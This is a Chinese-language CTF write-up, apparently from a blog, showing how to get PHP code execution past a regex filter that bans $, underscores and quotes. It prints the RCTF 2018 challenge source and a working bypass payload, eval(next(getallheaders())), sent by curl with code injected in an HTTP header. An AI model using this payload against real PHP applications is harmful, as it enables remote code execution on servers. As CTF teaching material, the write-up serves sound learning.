CTF真题php在多重限制下的情况下如何执行命令?

简介: CTF真题php在多重限制下的情况下如何执行命令?

前言


在知识星球中看到这样一个题目,PHP5的环境下不允许用$,不能有下划线,不允许使用单引号,双引号,反引号,可以用任意字母和其他字符,怎么写一个webshell?


RCTF


这个让我想到之前在RCTF 2018的比赛中,看到这样的一道题,

<?php
$token = sha1($_SERVER['REMOTE_ADDR']);
$dir = '../sandbox/'.$token.'/';
is_dir($dir) ?: mkdir($dir);
is_file($dir.'index.php') ?: file_put_contents($dir.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template')));
switch($_GET['action'] ?: ''){
    case 'go':
        header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/');
        break;
    case 'reset':
        system('rm -rf '.$dir);
        break;
    default:
        show_source(__FILE__);
}
?>

访问?action=go之后,我们会自动跳到属于自己ip的沙盒中,打开题目,我们就能看到源码

<?php
sha1($_SERVER['REMOTE_ADDR']) === '99754106633f94d350db34d548d6091a' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

这里和上面的条件是非常相似的,也是禁止了下划线,和任意非单词字符。


测试


我们把这里的正则拿出来, 然后写脚本测试下



<?php
$flag = preg_replace('/[^\W_]+\((?R)?\)/', '', $_GET['cmd']);
var_dump(';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) );

我们写上一般正常的一句话木马


`/test.php?cmd=eval($_REQUEST[w]);`


可以看到,一般形态的webshell木马是不行的,会显示false。

可以看到这里根本就是禁止了$ 符号,无法进行利用。

3d51d44b24d895095c48a049ede880b0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

可以看到如果不使用$符号就不会报错,就可以。

那有什么方法可以进行绕过呢?


绕过


百思不得其解,后来就想通了,就是可以不用使用使的符号作为变量,那么有的同学就会问了,有什么方法可以不使用的符号作为变量,那么有的同学就会问了,有什么方法可以不使用符号然后还能赋值?

其实在PHP中还有一个函数是getallheaders 这个是可以获取到整个Http头信息

<?php
print_r(getallheaders());

整个Header头信息都打印出来了。

b53ec5f788bb6c581ca244c99a652630_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

我们就可以指定Header中的头信息,加入我们的payload就可以绕过。

但是getallheaders()返回的是一个数组,eval函数里面传递数组是无法生效的。哪有什么方法能获取到数组里面的具体的键值呢?

还可以用一个函数next()函数,可以在函数将内部指针指向数组中的下一个元素,并输出

那么我们使用


eval(next(getallheaders()));


这种方式就可以绕过了上题的要求了,实现无$符号,无特殊字符,下划线的命令执行了。

那么配合上面的原题代码



<?php
$flag = preg_replace('/[^\W_]+\((?R)?\)/', '', $_GET['cmd']);
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd'])  ? eval($_GET['cmd']) : 0;

那么我们的绕过语句为:


`curl  -H "User-Agent: echo(123);" -H "Accept: asdasd/asdasda" "http://localhost:85/test.php?cmd=eval(next(getallheaders()));`


237c1a4c69b9e9c2495826824c52b2f3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

至此,我们已经达到以绕过了上题的要求了,实现无$符号,无特殊字符,下划线的命令执行了。


相关文章
|
6天前
|
网络安全 PHP 数据安全/隐私保护
[网络安全/CTF] 记一次PHP序列化反序列化解题详析
[网络安全/CTF] 记一次PHP序列化反序列化解题详析
29 5
|
6天前
|
网络安全 PHP
[网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)
[网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)
46 0
|
5月前
|
人工智能 安全 PHP
PHP特性之CTF中常见的PHP绕过
PHP特性之CTF中常见的PHP绕过
79 1
|
5月前
|
SQL 小程序 Shell
PHP代码审计(三)php中代码执行&&命令执行函数
string system(string command,int &return_var) 可以用来执行系统命令并直接将相应的执行结果输出 system() 输出并返回最后一行shell结果。
55 0
|
9月前
|
XML 移动开发 Shell
CTF中常用的php原生类总结
CTF中常用的php原生类总结
135 0
|
12月前
|
安全 Unix Linux
[CTF/网络安全] 攻防世界 php_rce 解题详析
PHP REC ThinkPHP V5漏洞Payload 姿势 总结
329 0
|
12月前
|
存储 网络安全 PHP
[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解
序列化是指将数据结构或对象转换为可传输或可存储的格式的过程。这通常需要将数据转换为字节流或其他形式的编码格式,以便能够在不同的系统和应用程序之间进行传输或存储。
242 0
|
12月前
|
网络安全 PHP
[CTF/网络安全] 攻防世界 simple_php 解题详析
PHP弱语言特性 姿势 参数a限制绕过 参数b限制绕过
170 0
|
12月前
|
前端开发 网络安全 PHP
[CTF/网络安全] 攻防世界 PHP2 解题详析
[CTF/网络安全] 攻防世界 PHP2 解题详析 index.php .phps扩展名
131 0